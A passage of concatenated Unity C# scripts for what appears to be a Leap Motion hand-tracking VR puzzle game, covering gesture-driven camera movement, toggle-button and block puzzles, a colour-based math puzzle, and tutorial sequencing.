== 2) { moveCameraDown(); } } else if(leftPalmDown && rightPalmDown){ if(timerState == 0 || timerState == 2){ if(facingUp){ timer = Time.time; timerState = 2; } } else if(timerState == 1) { moveCameraUp(); } } else { if(Time.time - timer >= duration){ if(timerState == 1){ moveCameraUp(); } else if (timerState == 2){ moveCameraDown(); } } } } else if(cameraState == 1 || cameraState == 2){ leapRig.transform.rotation = Quaternion.Lerp (leapRig.transform.rotation, targetRotation , 10 * 1f * Time.deltaTime); if(usePoints){ leapRig.transform.position = Vector3.Lerp (leapRig.transform.position, targetPosition , 10 * 1f * Time.deltaTime); } if(leapRig.transform.rotation == targetRotation){ if(!usePoints || (usePoints && leapRig.transform.position == targetPosition)){ if(lockPending){ lockCamera(); } else { cameraState = 0; } } } if(Time.time > timer + 3.0f){ // Forces camera to target position if it gets stuck after 3 secs cameraState = 0; leapRig.transform.position = targetPosition; leapRig.transform.rotation = targetRotation; } } else if(cameraState == 3){ if(Time.time - timer >= lockDuration){ Debug.Log("Camera Unlocked"); lockPending = false; cameraState = 0; } } else if(cameraState == 4){ //do nothing } } } public void setLeftPalmDown(bool b){ leftPalmDown = b; } public void setRightPalmDown(bool b){ rightPalmDown = b; } public void setLeftPalmUp(bool b){ leftPalmUp = b; } public void setRightPalmUp(bool b){ rightPalmUp = b; } public void moveCameraUp(){ if(!facingUp && cameraState != 4){ facingUp = true; timerState = 0; timer = Time.time; cameraState = 1; if(usePoints){ targetPosition = pointUp.transform.position; targetRotation = pointUp.transform.rotation; } else { //targetRotation = Quaternion.Euler(0,0,0); targetRotation = leapRig.transform.rotation * Quaternion.Inverse(Quaternion.Euler(60,0,0)); } } } public void moveCameraDown(){ if(facingUp && cameraState != 4){ facingUp = false; timerState = 0; timer = Time.time; cameraState = 2; if(usePoints){ targetPosition = pointDown.transform.position; targetRotation = pointDown.transform.rotation; } else { //targetRotation = Quaternion.Euler(60,0,0); targetRotation = leapRig.transform.rotation * Quaternion.Euler(60,0,0); } } } public bool isFacingUp(){ return facingUp; } private void lockCamera(){ if(cameraState != 4){ cameraState = 3; timer = Time.time; Debug.Log("Camera Locked"); } } public void lockPermanently(){ cameraState = 4; } public void moveCameraUpandLock(){ moveCameraUp(); lockPending = true; } public void activate(){ active = true; } public void deactivate(){ active = false; } } <file_sep>using Leap.Unity; using Leap.Unity.Interaction; using System.Collections; using System.Collections.Generic; using UnityEngine; [RequireComponent(typeof(InteractionBehaviour))] public class PowerButton : MonoBehaviour { private bool on; public bool startOn = false; private Material _material; private Color onColor = Color.green; private Color offColor; private Color targetColor; private float toggleDelay = .2f; private float toggleTimer = 0; private PowerButton[] adjacentButtons; private PowerButton correspondingButton; void Start () { on = startOn; Renderer renderer = GetComponent<Renderer>(); if (renderer == null) { renderer = GetComponentInChildren<Renderer>(); } if (renderer != null) { _material = renderer.material; } offColor = _material.color; if(on){ targetColor = onColor; _material.color = onColor; } else { targetColor = offColor; } } void Update () { // Lerp actual material color to the target color. _material.color = Color.Lerp(_material.color, targetColor, 30F * Time.deltaTime); } private void toggle(){ if(Time.time - toggleTimer >= toggleDelay){ if(on){ on = false; targetColor = offColor; } else { on = true; targetColor = onColor; } toggleTimer = Time.time; } } private void autoToggle(){ toggle(); } public void hardModeToggle(){ correspondingButton.manualToggle(); } public void manualToggle(){ toggle(); foreach(PowerButton b in adjacentButtons){ b.autoToggle(); } } public bool isOn(){ return on; } public void setAdjacentButtons(PowerButton[] buttons){ this.adjacentButtons = buttons; } public void setCorrespondingButton(PowerButton button){ this.correspondingButton = button; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap.Unity.Interaction; public class RomanBall : MonoBehaviour { private bool grasped; private InteractionBehaviour interactionScript; private Vector3 spawnPosition; private Quaternion spawnRotation; private Rigidbody rb; private void Awake() { this.grasped = false; } private void Start(){ interactionScript = GetComponent<InteractionBehaviour>(); rb = GetComponent<Rigidbody>(); this.spawnPosition = transform.position; this.spawnRotation = transform.rotation; spawnPosition.y += 0.1f; } private void Update() { if(!grasped && interactionScript.isGrasped){ grasped = true; } if(grasped && !interactionScript.isGrasped){ grasped = false; } } public bool isGrasped(){ return this.grasped; } public void respawn(){ transform.position = spawnPosition; transform.rotation = spawnRotation; rb.velocity = Vector3.zero; } public void stopMovement(){ rb.velocity = Vector3.zero; } public void stopContact(){ stopMovement(); interactionScript.ignoreContact = true; } public void freeze(){ stopContact(); interactionScript.ignoreGrasping = true; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public abstract class AbstractRController : MonoBehaviour { public ArmController arm; public CraneController crane; public PlatformController[] platforms; private bool activated = false; public GameObject block; private bool blocksSolved; public GameObject blockingDoorObject, doorFrame; public Image door; private static float doorFillDuration = 5.0f; private float timer = 0.0f; private bool fillingDoor = false; public LeftRightNavigation navigation; // Use this for initialization void Start () { blocksSolved = false; initialiseBlocks(); doorFrame.SetActive(false); door.fillAmount = 0.0f; } // Update is called once per frame void Update () { if(!activated){ if(Input.GetKeyDown(KeyCode.M)){ activate(); activated = true; } } else if(!blocksSolved) { blocksSolved = checkSolution(); } if(blocksSolved){ blockingDoorObject.SetActive(false); doorFrame.SetActive(true); navigation.moveToState(1); if(!fillingDoor){ timer = Time.time; fillingDoor = true; } processCompletion(); } checkLevelSpecificCriteria(); } private void processCompletion(){ float elapsed = Time.time - timer; if(door.fillAmount < 1.0f){ door.fillAmount = elapsed / doorFillDuration; } if(door.fillAmount >= 1.0f){ loadNextLevel(); } } protected abstract bool checkSolution(); protected abstract void initialiseBlocks(); protected abstract void checkLevelSpecificCriteria(); protected abstract void loadNextLevel(); protected void activate(){ arm.activate(); crane.activate(); activated = true; } protected void spawnBlock(int index, int type){ GameObject new_block = Instantiate(block, platforms[index].blockPosition.position, platforms[index].blockPosition.rotation); Block blockScript = new_block.GetComponent<Block>(); blockScript.initialise(type); platforms[index].setBlock(blockScript); } public bool isActivated(){ return activated; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap.Unity.Interaction; public class MathBall : MonoBehaviour { private int colour; // 1 = Red, 2 = Blue, 3 = Purple, 4 = Green private bool grasped; private Renderer renderer; private InteractionBehaviour interactionScript; private Vector3 spawnPosition; private Quaternion spawnRotation; private Rigidbody rb; private void Awake() { this.colour = 0; this.grasped = false; } private void Start(){ renderer = GetComponent<Renderer>(); interactionScript = GetComponent<InteractionBehaviour>(); rb = GetComponent<Rigidbody>(); this.spawnPosition = transform.position; this.spawnRotation = transform.rotation; spawnPosition.y += 0.1f; } private void Update() { if(!grasped && interactionScript.isGrasped){ grasped = true; } if(grasped && !interactionScript.isGrasped){ grasped = false; } } public int getColour(){ return this.colour; } public bool isGrasped(){ return this.grasped; } public void changeColour(){ if(this.colour == 4){ this.colour = 1; } else{ this.colour++; } switch (this.colour) { case 1: this.renderer.material.color = Color.red; break; case 2: this.renderer.material.color = Color.blue; break; case 3: this.renderer.material.color = Color.magenta; break; case 4: this.renderer.material.color = Color.green; break; } } public void respawn(){ transform.position = spawnPosition; transform.rotation = spawnRotation; rb.velocity = Vector3.zero; } public void stopMovement(){ rb.velocity = Vector3.zero; } public void stopContact(){ stopMovement(); interactionScript.ignoreContact = true; } public void freeze(){ stopContact(); interactionScript.ignoreGrasping = true; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public static class GameController { private static int state = 0; public static int START = 0; public static int AFTER_TUTORIAL = 1; public static int LEFT_FINISHED = 2; public static int RIGHT_FINISHED = 3; public static int END = 4; public static int State{ get { return state; } set { state = value; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class ObjectHolder : MonoBehaviour { public GameObject highlight, successHighlight; public Transform objectPosition; private bool containsObject = false; private ObjectDescriptor obj; private int colliding = 0; private bool locked = false; public int id = 0; public bool colourBased = true; void Awake () { highlight.SetActive(false); successHighlight.SetActive(false); } void Update () { if(locked && obj != null){ obj.freeze(); obj.transform.position = objectPosition.position; } } public void ChildTriggerEnter(Collider collision) { if(!containsObject){ GameObject go = collision.gameObject; if(go.tag.Equals("Object")){ colliding++; highlight.SetActive(true); } } } public void ChildTriggerExit(Collider collision) { GameObject go = collision.gameObject; if(go.tag.Equals("Object")){ colliding--; if(colliding == 0){ highlight.SetActive(false); containsObject = false; obj = null; } } } public void ChildTriggerStay(Collider collision) { if(!containsObject){ GameObject go = collision.gameObject; if(go.tag.Equals("Object")){ ObjectDescriptor objDesc = go.GetComponent<ObjectDescriptor>(); if(!objDesc.isGrasped()){ highlight.SetActive(false); go.transform.position = objectPosition.position; go.transform.rotation = objectPosition.rotation; objDesc.stopContact(); setObject(objDesc); } else { highlight.SetActive(true); } } } } private void setObject(ObjectDescriptor obj){ this.obj = obj; containsObject = true; checkObject(); } private void checkObject(){ if(containsObject && obj != null){ if(colourBased){ if(obj.getColour() == id){ locked = true; successHighlight.SetActive(true); obj.freeze(); } } } } public bool isLocked(){ return locked; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class PlatformController : MonoBehaviour { public GameObject highlight; private Block block; private bool containsBlock; public Transform blockPosition; void Awake() { highlight.SetActive(false); containsBlock = false; } // Use this for initialization void Start () { } // Update is called once per frame void Update () { } public void setHighlight(bool b){ highlight.SetActive(b); } public bool hasBlock(){ return containsBlock; } public void setBlock(Block block){ this.block = block; containsBlock = true; block.transform.position = blockPosition.position; } public void removeBlock(){ containsBlock = false; block = null; } public Block getBlock(){ return block; } public int blockType(){ if(containsBlock){ return block.getType(); } else { return -1; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class TableBounds : MonoBehaviour { private void OnTriggerExit(Collider collision) { GameObject go = collision.gameObject; if(go.tag.Equals("RuneBall")){ RuneBall ball = go.GetComponent<RuneBall>(); ball.respawn(); Debug.Log("Respawning!"); } if(go.tag.Equals("Object")){ ObjectDescriptor o = go.GetComponent<ObjectDescriptor>(); o.respawn(); Debug.Log("Respawning!"); } if(go.tag.Equals("MathBall")){ MathBall o = go.GetComponent<MathBall>(); o.respawn(); Debug.Log("Respawning!"); } if(go.tag.Equals("RedBall")){ RomanBall o = go.GetComponent<RomanBall>(); o.respawn(); Debug.Log("Respawning!"); } if(go.tag.Equals("BlueBall")){ RomanBall o = go.GetComponent<RomanBall>(); o.respawn(); Debug.Log("Respawning!"); } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; public class Level1BController : AbstractRController { public PowerSlider power; override protected bool checkSolution(){ //EASY SOLUTION: // Platform: 0 1 2 3 4 5 6 7 8 // Type: B R B R - R B R B int correct = 0; for(int i = 0; i < platforms.Length; i++){ if(i == 0 || i == 2 || i == 6 || i == 8){ if(platforms[i].blockType() == 0) correct++; } else if(i == 1 || i == 3 || i == 5 || i == 7){ if(platforms[i].blockType() == 1) correct++; } } return correct == 8; } override protected void initialiseBlocks(){ if(platforms.Length == 9){ // 4 blue, 4 red List<int> platformIndices = new List<int>(new int[] {0,1,2,3,4,5,6,7,8}); for(int i = 0; i < 8; i++){ int type = 0; if(i >= 4) type = 1; int indexTemp = Random.Range(0, platformIndices.Count); int index = platformIndices[indexTemp]; spawnBlock(index, type); platformIndices.RemoveAt(indexTemp); } } } override protected void checkLevelSpecificCriteria(){ if(power.isCompleted()){ activate(); } } override protected void loadNextLevel(){ GameController.State = GameController.LEFT_FINISHED; SceneManager.LoadScene(1); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class PuzzleController : MonoBehaviour { public Transform target; public GameObject hints; private float timer; private float duration = 2.0f; private bool active = false; void Start() { hints.SetActive(false); } void Update () { if(active){ Debug.Log(Time.time - timer); if(Time.time > timer + duration){ active = false; this.gameObject.SetActive(false); } else { transform.position = Vector3.Lerp(transform.position, target.position, 0.2f * Time.deltaTime); } } } public void activate(){ if(!active){ hints.SetActive(true); active = true; timer = Time.time; } } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public abstract class Holder : MonoBehaviour { public GameObject highlight; public Transform ballPosition; public AbstractLController controller; public UpDownNavigation navigation; protected bool containsBall = false; protected RuneBall ball; protected int colliding = 0; protected bool locked = false; void Awake () { highlight.SetActive(false); } void Update () { if(locked && ball != null){ ball.freeze(); } } public void ChildTriggerEnter(Collider collision) { if(!containsBall){ GameObject go = collision.gameObject; if(go.tag.Equals("RuneBall")){ colliding++; highlight.SetActive(true); } } } public void ChildTriggerExit(Collider collision) { GameObject go = collision.gameObject; if(go.tag.Equals("RuneBall")){ colliding--; if(colliding == 0){ highlight.SetActive(false); containsBall = false; ball = null; } } } public void ChildTriggerStay(Collider collision) { if(!containsBall){ GameObject go = collision.gameObject; if(go.tag.Equals("RuneBall")){ RuneBall runeBall = go.GetComponent<RuneBall>(); if(!runeBall.isGrasped()){ highlight.SetActive(false); go.transform.position = ballPosition.position; //TWEAK THIS go.transform.rotation = ballPosition.rotation; runeBall.stopContact(); setRuneBall(runeBall); } else { highlight.SetActive(true); } } } } protected abstract void setRuneBall(RuneBall ball); } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class PuzzleButton : MonoBehaviour { private bool on = false; private Material _material; public int color; public int shape; private Color offColor; private Color onColor; private Color targetColor; public GameObject shapeObj; private bool matched = false; public Puzzle puzzle; public int id; void Start () { Renderer renderer = GetComponent<Renderer>(); if (renderer == null) { renderer = GetComponentInChildren<Renderer>(); } if (renderer != null) { _material = renderer.material; } offColor = _material.color; targetColor = offColor; shapeObj.SetActive(false); getTargetColor(); } void Update () { _material.color = targetColor; } private void toggle(){ if(on && !matched){ on = false; targetColor = offColor; shapeObj.SetActive(false); } else { on = true; targetColor = onColor; shapeObj.SetActive(true); } } public void manualToggle(){ if(!matched){ toggle(); StartCoroutine("sendMove"); } } IEnumerator sendMove(){ yield return new WaitForSeconds(.3f); puzzle.toggleReceived(this); yield return null; } public void autoToggle(){ toggle(); } private void getTargetColor(){ switch(color){ case 1: onColor = Color.blue; break; case 2: onColor = Color.green; break; case 3: onColor = Color.red; break; case 4: onColor = Color.yellow; break; case 5: onColor = Color.magenta; break; case 6: onColor = Color.cyan; break; case 7: onColor = new Color(1, 0.5f, 0, 1); break; case 8: onColor = new Color(0.25f, 0, 0.5f, 1); break; } } public void setMatched(){ matched = true; on = true; targetColor = onColor; shapeObj.SetActive(true); } public bool isOn(){ return on; } public bool isMatched(){ return matched; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Video; using UnityEngine.UI; using UnityEngine.SceneManagement; using TMPro; public class Tutorial2Controller : MonoBehaviour { public VideoPlayer player; public GameObject videoPlane; public TextMeshProUGUI text; public GameObject frontArrowRight, rightArrowRight, backArrowRight, leftArrowRight; public GameObject frontArrowLeft, rightArrowLeft, backArrowLeft, leftArrowLeft; public GameObject frontLight, rightLight, backLight, leftLight; public GameObject handModels, leapMotion; public GameObject rightIndicator, leftIndicator; private int state; // 0 - front, 1 - right, 2 - back, 3 - left, 4 - front, 5 - left, 6 - back, 7 - right, 8 - front, 9 - free public LeftRightNavigation navigation; public Material[] materials; private Renderer rendererFront, rendererRight, rendererBack, rendererLeft; private int facing = 0; // 0 - front, 1 - right, 2 - back, 3 - left void Awake() { handModels.SetActive(false); leapMotion.SetActive(false); videoPlane.SetActive(false); frontArrowRight.SetActive(false); frontArrowLeft.SetActive(false); rightArrowLeft.SetActive(false); backArrowLeft.SetActive(false); leftArrowLeft.SetActive(false); rightIndicator.SetActive(false); leftIndicator.SetActive(false); player.playOnAwake = false; player.isLooping = true; text.text = ""; state = 0; } void Start() { rendererFront = frontLight.GetComponent<Renderer>(); rendererRight = rightLight.GetComponent<Renderer>(); rendererBack = backLight.GetComponent<Renderer>(); rendererLeft = leftLight.GetComponent<Renderer>(); toggleLight(0, 0); toggleLight(1, 0); toggleLight(2, 0); toggleLight(3, 0); navigation.lockLeftMovement(true); navigation.lockRightMovement(true); StartCoroutine("DelayedStart"); } IEnumerator DelayedStart() { //TODO player.Prepare(); yield return new WaitForSeconds(1); text.text = "This is the horizontal navigation tutorial"; yield return new WaitForSeconds(6); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "Here you will learn how to look left and right using your hands"; yield return new WaitForSeconds(6); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "Examine the demonstration below to see how this is done"; yield return new WaitForSeconds(2); videoPlane.SetActive(true); player.Play(); yield return new WaitForSeconds(8); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "To look right, rotate both of your hands clockwise so that your palms are facing left"; yield return new WaitForSeconds(6); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "And to look left, rotate your hands anticlockwise so that your palms are facing right"; yield return new WaitForSeconds(6); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "Like before, you will have directional indicators on the edge of your screen to show which directions you can look"; yield return new WaitForSeconds(6); leftIndicator.SetActive(true); rightIndicator.SetActive(true); yield return new WaitForSeconds(0.4f); leftIndicator.SetActive(false); rightIndicator.SetActive(false); yield return new WaitForSeconds(0.4f); leftIndicator.SetActive(true); rightIndicator.SetActive(true); yield return new WaitForSeconds(0.4f); leftIndicator.SetActive(false); rightIndicator.SetActive(false); yield return new WaitForSeconds(0.4f); leftIndicator.SetActive(true); rightIndicator.SetActive(true); yield return new WaitForSeconds(0.4f); leftIndicator.SetActive(false); rightIndicator.SetActive(false); yield return new WaitForSeconds(0.5f); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "It's now your turn"; yield return new WaitForSeconds(3); text.text = ""; yield return new WaitForSeconds(0.2f); text.text = "Start by looking right"; leapMotion.SetActive(true); handModels.SetActive(true); yield return new WaitForSeconds(2); text.text = ""; frontArrowRight.SetActive(true); rightIndicator.SetActive(true); navigation.activate(); navigation.lockRightMovement(false); yield return null; } void Update () { if(facing != navigation.facing){ // If change in looking direction state++; facing = navigation.facing; StartCoroutine(triggerProgress()); } } IEnumerator triggerProgress(){ yield return new WaitForSeconds(.4f); switch(state){ case 0: // Should never reach this break; case 1: toggleLight(1, 1); frontArrowRight.SetActive(false); break; case 2: rightArrowRight.SetActive(false); rightArrowLeft.SetActive(true); toggleLight(2, 1); break; case 3: backArrowRight.SetActive(false); backArrowLeft.SetActive(true); toggleLight(3, 1); break; case 4: leftArrowRight.SetActive(false); leftArrowLeft.SetActive(true); rightIndicator.SetActive(false); toggleLight(0, 1); navigation.lockRightMovement(true); navigation.lockLeftMovement(false); yield return new WaitForSeconds(0.2f); text.text = "Now look left"; yield return new WaitForSeconds(3); text.text = ""; frontArrowLeft.SetActive(true); leftIndicator.SetActive(true); break; case 5: frontArrowLeft.SetActive(false); toggleLight(3, 2); break; case 6: leftArrowLeft.SetActive(false); toggleLight(2, 2); break; case 7: backArrowLeft.SetActive(false); toggleLight(1, 2); break; case 8: frontArrowRight.SetActive(false); frontArrowLeft.SetActive(false); rightArrowRight.SetActive(false); rightArrowLeft.SetActive(false); backArrowRight.SetActive(false); backArrowLeft.SetActive(false); leftArrowRight.SetActive(false); leftArrowLeft.SetActive(false); toggleLight(0, 2); navigation.lockRightMovement(true); navigation.lockLeftMovement(true); leftIndicator.SetActive(false); rightIndicator.SetActive(false); text.text = "You're ready to tackle THE COMPLEX!"; yield return new WaitForSeconds(4f); text.text = "3"; yield return new WaitForSeconds(1f); text.text = ""; yield return new WaitForSeconds(.1f); text.text = "2"; yield return new WaitForSeconds(1f); text.text = ""; yield return new WaitForSeconds(.1f); text.text = "1"; yield return new WaitForSeconds(1f); text.text = ""; yield return new WaitForSeconds(.1f); text.text = "Loading..."; loadLevel(); break; case 9: //Do nothing break; } yield return null; } private void toggleLight(int index, int stage){ switch(index){ case 0: rendererFront.material = materials[stage]; break; case 1: rendererRight.material = materials[stage]; break; case 2: rendererBack.material = materials[stage]; break; case 3: rendererLeft.material = materials[stage]; break; } } private void loadLevel(){ GameController.State = GameController.AFTER_TUTORIAL; SceneManager.LoadScene(1); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using Leap; using Leap.Unity; public class BasicMovement : MonoBehaviour { Controller controller; //float HandPalmPitch; float HandPalmYaw; //float HandPalmRoll; //float HandWristRot; // Use this for initialization void Start () { } // Update is called once per frame void Update () { controller = new Controller(); Frame frame = controller.Frame(); List<Hand> hands = frame.Hands; if(frame.Hands.Count > 0){ Hand firstHand = hands[0]; //HandPalmPitch = firstHand.PalmNormal.Pitch; HandPalmYaw = firstHand.PalmNormal.Yaw; //HandPalmRoll = firstHand.PalmNormal.Roll; //HandWristRot = hands[0].WristPosition.Pitch; //Debug.Log("Pitch :" + HandPalmPitch); //Debug.Log("Roll :" + HandPalmRoll); //Debug.Log("Yaw :" + HandPalmYaw); //Move Object if(HandPalmYaw > -2f && HandPalmYaw < 3.5f){ transform.Translate(new Vector3(0, 0, 1 * Time.deltaTime)); } else if (HandPalmYaw < -2.2f){ transform.Translate(new Vector3(0,0, -1 * Time.deltaTime)); } } } }<file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class MathSolution : MonoBehaviour { public int[] solutions; public int red = 0, blue = 0, purple = 0, green = 0; public int red2 = 0, blue2 = 0, purple2 = 0, green2 = 0; private int[] values; private int finished = 0; private bool completed; public MathPuzzle[] puzzles; public MathBallHolder[] solution; //1 = Red, 2 = Blue, 3 = Purple, 4 = Green void Start() { completed = false; values = new int[]{red, blue, purple, green}; } public void activate(){ puzzles[0].activate(); } public void manuallyComplete(){ puzzles[finished].manuallyComplete(); } void Update(){ if(!completed){ if(puzzles[finished].isCompleted()){ finished++; if(finished == puzzles.Length){ completed = true; } else { if(finished == 3){ values = new int[]{red2, blue2, purple2, green2}; } puzzles[finished].activate(); } } } } public int determineValue(int i, bool left){ //1 = Red, 2 = Blue, 3 = Purple, 4 = Green switch(finished){ case 0: //First puzzle if(left){ // R if(i == 1) return getNumber(i); } else { // B if(i == 2) return getNumber(i); } break; case 1: //Second puzzle if(left){ // B if(i == 2) return getNumber(i); } else { // P if(i == 3) return getNumber(i); } break; case 2: //Third puzzle if(left){ // R, B, G if(i == 1 || i == 2 || i == 4) return getNumber(i); } else { // R, B, P if(i == 1 || i == 2 || i == 3) return getNumber(i); } break; case 3: //Fourth puzzle if(left){ // R, G if(i == 1 || i == 4) return getNumber(i); } else { // B if(i == 2) return getNumber(i); } break; case 4: //Fifth puzzle if(left){ // P, R if(i == 1 || i == 3) return getNumber(i); } else { // R, G if(i == 1 || i == 4) return getNumber(i); } break; case 5: //Sixth puzzle if(left){ // B, P, R if(i == 1 || i == 2 || i == 3) return getNumber(i); } else { // G, R if(i == 1 || i == 4) return getNumber(i); } break; default: return 0; } return 0; } private int getNumber(int i){ return values[i-1]; } public bool checkSolution(int puzzleNumber){ int left = 0, right = 0; for(int i = 0; i < solution.Length; i++){ if(i < 9){ left += solution[i].getValue(); } else { right += solution[i].getValue(); } } if(left != right) return false; return left == solutions[puzzleNumber-1]; } public void notifyPuzzles(){ if(!completed){ puzzles[finished].notifyPuzzle(); } } public bool isCompleted(){ return completed; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class MathPuzzle : MonoBehaviour { public int puzzleNumber; //starting from 1 public MathSolution solution; private bool completed; private bool active = false; public Image highlight; public GameObject gameObject; void Awake() { completed = false; gameObject.SetActive(false); } public void notifyPuzzle(){ if(active && !completed){ completed = solution.checkSolution(puzzleNumber); if(completed){ highlight.color = Color.green; } } } public bool isActive(){ return active; } public bool isCompleted(){ return completed; } public void activate(){ active = true; gameObject.SetActive(true); } public void manuallyComplete(){ completed = true; highlight.color = Color.green; } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class CollisionDetector : MonoBehaviour { private Holder holder; void Start(){ holder = transform.parent.GetComponent<Holder>(); } private void OnTriggerEnter(Collider other) { holder.ChildTriggerEnter(other); } private void OnTriggerStay(Collider other) { holder.ChildTriggerStay(other); } private void OnTriggerExit(Collider other) { holder.ChildTriggerExit(other); } } <file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; public class PowerPuzzle : MonoBehaviour { public PowerButton[] buttons; private bool completed; void Start () { completed = false; if(buttons.Length == 9){ //Easy PowerButton[] adj1 = new PowerButton[2]; PowerButton[] adj2 = new PowerButton[3]; PowerButton[] adj3 = new PowerButton[2]; PowerButton[] adj4 = new PowerButton[3]; PowerButton[] adj5 = new PowerButton[4]; PowerButton[] adj6 = new PowerButton[3]; PowerButton[] adj7 = new PowerButton[2]; PowerButton[] adj8 = new PowerButton[3]; PowerButton[] adj9 = new PowerButton[2]; adj1[0] = buttons[1]; adj1[1] = buttons[3]; adj2[0] = buttons[0]; adj2[1] = buttons[2]; adj2[2] = buttons[4]; adj3[0] = buttons[1]; adj3[1] = buttons[5]; adj4[0] = buttons[0]; adj4[1] = buttons[4]; adj4[2] = buttons[6]; adj5[0] = buttons[1]; adj5[1] = buttons[3]; adj5[2] = buttons[5]; adj5[3] = buttons[7]; adj6[0] = buttons[2]; adj6[1] = buttons[4]; adj6[2] = buttons[8]; adj7[0] = buttons[3]; adj7[1] = buttons[7]; adj8[0] = buttons[4]; adj8[1] = buttons[6]; adj8[2] = buttons[8]; adj9[0] = buttons[5]; adj9[1] = buttons[7]; buttons[0].setAdjacentButtons(adj1); buttons[1].setAdjacentButtons(adj2); buttons[2].setAdjacentButtons(adj3); buttons[3].setAdjacentButtons(adj4); buttons[4].setAdjacentButtons(adj5); buttons[5].setAdjacentButtons(adj6); buttons[6].setAdjacentButtons(adj7); buttons[7].setAdjacentButtons(adj8); buttons[8].setAdjacentButtons(adj9); } else if(buttons.Length == 16){ //Medium PowerButton[] adj1 = new PowerButton[2]; PowerButton[] adj2 = new PowerButton[3]; PowerButton[] adj3 = new PowerButton[3]; PowerButton[] adj4 = new PowerButton[2]; PowerButton[] adj5 = new PowerButton[3]; PowerButton[] adj6 = new PowerButton[4]; PowerButton[] adj7 = new PowerButton[4]; PowerButton[] adj8 = new PowerButton[3]; PowerButton[] adj9 = new PowerButton[3]; PowerButton[] adj10 = new PowerButton[4]; PowerButton[] adj11 = new PowerButton[4]; PowerButton[] adj12 = new PowerButton[3]; PowerButton[] adj13 = new PowerButton[2]; PowerButton[] adj14 = new PowerButton[3]; PowerButton[] adj15 = new PowerButton[3]; PowerButton[] adj16 = new PowerButton[2]; adj1[0] = buttons[1]; adj1[1] = buttons[4]; adj2[0] = buttons[0]; adj2[1] = buttons[2]; adj2[2] = buttons[5]; adj3[0] = buttons[1]; adj3[1] = buttons[3]; adj3[2] = buttons[6]; adj4[0] = buttons[2]; adj4[1] = buttons[7]; adj5[0] = buttons[0]; adj5[1] = buttons[5]; adj5[2] = buttons[8]; adj6[0] = buttons[1]; adj6[1] = buttons[4]; adj6[2] = buttons[6]; adj6[3] = buttons[9]; adj7[0] = buttons[2]; adj7[1] = buttons[5]; adj7[2] = buttons[7]; adj7[3] = buttons[10]; adj8[0] = buttons[3]; adj8[1] = buttons[6]; adj8[2] = buttons[11]; adj9[0] = buttons[4]; adj9[1] = buttons[9]; adj9[2] = buttons[12]; adj10[0] = buttons[5]; adj10[1] = buttons[8]; adj10[2] = buttons[10]; adj10[3] = buttons[13]; adj11[0] = buttons[6]; adj11[1] = buttons[9]; adj11[2] = buttons[11]; adj11[3] = buttons[14]; adj12[0] = buttons[7]; adj12[1] = buttons[10]; adj12[2] = buttons[15]; adj13[0] = buttons[8]; adj13[1] = buttons[13]; adj14[0] = buttons[9]; adj14[1] = buttons[12]; adj14[2] = buttons[14]; adj15[0] = buttons[10]; adj15[1] = buttons[13]; adj15[2] = buttons[15]; adj16[0] = buttons[11]; adj16[1] = buttons[14]; buttons[0].setAdjacentButtons(adj1); buttons[1].setAdjacentButtons(adj2); buttons[2].setAdjacentButtons(adj3); buttons[3].setAdjacentButtons(adj4); buttons[4].setAdjacentButtons(adj5); buttons[5].setAdjacentButtons(adj6); buttons[6].setAdjacentButtons(adj7); buttons[7].setAdjacentButtons(adj8); buttons[8].setAdjacentButtons(adj9); buttons[9].setAdjacentButtons(adj10); buttons[10].setAdjacentButtons(adj11); buttons[11].setAdjacentButtons(adj12); buttons[12].setAdjacentButtons(adj13); buttons[13].setAdjacentButtons(adj14); buttons[14].setAdjacentButtons(adj15); buttons[15].setAdjacentButtons(adj16); } else if(buttons.Length == 18){ // hard PowerButton[] adj1 = new PowerButton[2]; PowerButton[] adj2 = new PowerButton[3]; PowerButton[] adj3 = new PowerButton[2]; PowerButton[] adj4 = new PowerButton[3]; PowerButton[] adj5 = new PowerButton[4]; PowerButton[] adj6 = new PowerButton[3]; PowerButton[] adj7 = new PowerButton[2]; PowerButton[] adj8 = new PowerButton[3]; PowerButton[] adj9 = new PowerButton[2]; adj1[0] = buttons[1]; adj1[1] = buttons[3]; adj2[0] = buttons[0]; adj2[1] = buttons[2]; adj2[2] = buttons[4]; adj3[0] = buttons[1]; adj3[1] = buttons[5]; adj4[0] = buttons[0]; adj4[1] = buttons[4]; adj4[2] = buttons[6]; adj5[0] = buttons[1]; adj5[1] = buttons[3]; adj5[2] = buttons[5]; adj5[3] = buttons[7]; adj6[0] = buttons[2]; adj6[1] = buttons[4]; adj6[2] = buttons[8]; adj7[0] = buttons[3]; adj7[1] = buttons[7]; adj8[0] = buttons[4]; adj8[1] = buttons[6]; adj8[2] = buttons[8]; adj9[0] = buttons[5]; adj9[1] = buttons[7]; buttons[0].setAdjacentButtons(adj1); buttons[1].setAdjacentButtons(adj2); buttons[2].setAdjacentButtons(adj3); buttons[3].setAdjacentButtons(adj4); buttons[4].setAdjacentButtons(adj5); buttons[5].setAdjacentButtons(adj6); buttons[6].setAdjacentButtons(adj7); buttons[7].setAdjacentButtons(adj8); buttons[8].setAdjacentButtons(adj9); 